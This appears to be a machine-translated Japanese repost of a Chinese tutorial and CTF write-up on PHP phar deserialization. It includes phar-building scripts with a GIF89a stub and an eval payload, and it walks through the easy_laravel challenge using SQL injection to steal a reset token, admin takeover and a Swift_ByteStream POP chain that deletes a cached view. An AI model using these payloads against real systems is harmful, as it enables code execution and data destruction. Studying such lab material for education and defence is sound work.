phar逆シーケンス化学習

10433 ワード

前言pharはいphpサポートされている擬似プロトコルで、ファイル処理関数のパスパラメータで使用すると逆シーケンス操作がトリガーされます.
利用条件
  • pharファイルをサーバ側にアップロードできるようにする.
  • 「踏み板」として使えるマジック仕様が必要(phpバグを逆シーケンス化したpopチェーン).
  • ファイル操作関数のパラメータは制御可能であり、:/phar・などの特殊文字はフィルタされていない.

  • Demo
    テストコード
    テストコードは次のとおりです.upload_file.php

    簡単なアップロード機能を実現し、アップロードのみ許可.gifファイル.file_un.php
     output);
        }
    }
    file_exists($filename);

    ここではクラスを定義し、__destructメソッドではevalを呼び出してクラス属性のコードを実行します.file_existsのパラメータは我々が制御できるので、pharで逆シーケンス化AnyClassを行い、さらにコード実行を実現できる.
    利用手順
    まずpharファイルを作成してサーバにアップロードする
    output);
            }
        }
    
        $phar = new Phar('phar.phar');
        $phar->startBuffering();
        $phar->setStub('GIF89a'.'');   //  stub,  gif   
        $phar->addFromString('test.txt','test');  //        
        $object = new AnyClass();
        $object->output = 'phpinfo();';
        $phar->setMetadata($object);  //    meta-data  manifest
        $phar->stopBuffering();
    ?>

    そしてphar.pharをアップロード
    最後にアクセスfile_un.phpphar://を使用して逆シーケンス化をトリガーします.
    ネットカップeasy_laravel
    テスト環境
    https://github.com/sco4x0/huwangbei2018_easy_laravel

    最初に使用
    php artisan route:list

    プログラムのコントローラを見て
    アクセスするには、基本的にコントローラにログインする必要があることがわかりました.一部のコントローラでは、admin権限が必要です.app/Http/Middleware/AdminMiddleware.phpに定義されているadmin権限判断のコード
    class AdminMiddleware
    {
    
        public function __construct(Guard $auth)
        {
            $this->auth = $auth;
        }
    
        public function handle($request, Closure $next)
        {
            if ($this->auth->user()->email !== '[email protected]') {
                return redirect(route('error'));
            }
            return $next($request);
        }
    }

    ユーザ登録メールボックスが[email protected]であればadmin権限があります.
    権限後アクセス可能flag取得flag
    class FlagController extends Controller
    {
        public function __construct()
        {
            $this->middleware(['auth', 'admin']);
        }
    
        public function showFlag()
        {
            $flag = file_get_contents('/th1s1s_F14g_2333333');
            return view('auth.flag')->with('flag', $flag);
        }
    }

    まず私たちが今しなければならないのは、何とかしてadmin権限を得ることです.登録を試みる[email protected]登録されていることが判明し、重複登録はできない.コードに他の脆弱性があるかどうか見てみましょう
    最後に発見NoteController存在sql注入
    class NoteController extends Controller
    {
        public function __construct()
        {
            $this->middleware('auth');
        }
    
        public function index(Note $note)
        {
            $username = Auth::user()->name;
            $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
            return view('note', compact('notes'));
        }
    }

    私たちが登録するときに使ったユーザー名を取ってsql文に挿入して注入します.
    表の構造は見られるdatabase/migrations/.まずorder by文テストで発見する列数は5.そしてunionクエリー
    発見パスワードはbcryptしたhash、しかも40バイトのランダム文字列です.だからパスワードは爆破できません.
    プログラムにはパスワードをリセットする機能もあるので、注入でリセット[email protected]必要tokenそしてアクセス
    http://192.168.245.128/password/reset/f663eb2c795b7d95c91941f9a75934957846114169692d822b9e13737694a72b
    [email protected]のパスワードをリセットします.
    そして登録できるadminインターフェイス
    アクセス/flagコントローラのコード通りに印刷されていないことを発見/th1s1s_F14g_2333333の内容.
    古いキャッシュが存在するため、見えないflagキャッシュファイルを削除して読む必要があるflagキャッシュファイルは
    public function getCompiledPath($path)
    {
        return $this->cachePath.'/'.sha1($path).'.php';
    }

    に合格nginxのデフォルト設定が使用されていることがわかりましたがflagファイルのフルパスは
    /usr/share/nginx/html/resources/views/auth/flag.blade.php

    経過sha1後得34e41df0934a75437873264cd28e2d835bc38772.phpだから今の考えは
  • 削除34e41df0934a75437873264cd28e2d835bc38772.php
  • そして訪問/flag、取得flag
  • UploadControllerに注入可能phar逆シーケンス化
    class UploadController extends Controller
    {
        public function __construct()
        {
            $this->middleware(['auth', 'admin']);
            $this->path = storage_path('app/public');
        }
    
        public function index()
        {
            return view('upload');
        }
    
        public function upload(UploadRequest $request)
        {
            $file = $request->file('file');
            if (($file && $file->isValid())) {
                $allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
                $ext = $file->getClientOriginalExtension();
                if(in_array($ext, $allowed_extensions)){
                    $file->move($this->path, $file->getClientOriginalName());
                    Flash::success('    ');
                    return redirect(route('upload'));
                }
            }
            Flash::error('    ');
            return redirect(route('upload'));
        }
    
        public function files()
        {
            $files = array_except(Storage::allFiles('public'), ['0']);
            return view('files')->with('files', $files);
        }
     
        public function check(Request $request)
        {
            $path = $request->input('path', $this->path);
            $filename = $request->input('filename', null);
            if($filename){
                if(!file_exists($path . $filename)){
                    Flash::error('       ,      ');
                }else{
                    Flash::success('    ');
                }
            }
            return redirect(route('files'));
        }
    }
    check関数は2つのパラメータを取ってつなぎ合わせてパスしたfile_exists関数、そしてuploadアップロード可能.
    したがって、逆シーケンス化は、pharによって行うことができる.
    グローバル検索unlinkSwift_ByteStream_TemporaryFileByteStreamの解析関数に存在するunlinkメソッド
    そこでこのクラスを用いて逆シーケンス化し,テンプレートファイルを削除すればよい.
    _path = $path;
            $this->_mode = $writable ? 'w+b' : 'rb';
    
            if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
                $this->_quotes = true;
            }
        }
    
        /**
         * Get the complete path to the file.
         *
         * @return string
         */
        public function getPath()
        {
            return $this->_path;
        }
    }
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
        public function __construct() {
            $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
            parent::__construct($filePath, true);
        }
        public function __destruct() {
            if (file_exists($this->getPath())) {
                @unlink($this->getPath());
            }
        }
    }
    $obj = new Swift_ByteStream_TemporaryFileByteStream();
    $p = new Phar('./1.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a');
    $p->setMetadata($obj);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    rename('./1.phar', '1.gif');
    ?>

    生成したファイルを画像接尾辞に変更してアップロードすると、storage/app/public/ディレクトリに保存され、phar逆シーケンス化されます
    そしてアクセス/flagflagを取得
    リファレンス
    https://xz.aliyun.com/t/2715#toc-8
    https://www.anquanke.com/post/id/161849#h2-3
    https://xz.aliyun.com/t/2912#toc-1
    http://www.venenof.com/index.php/archives/565/

    転載先:https://www.cnblogs.com/hac425/p/9803842.html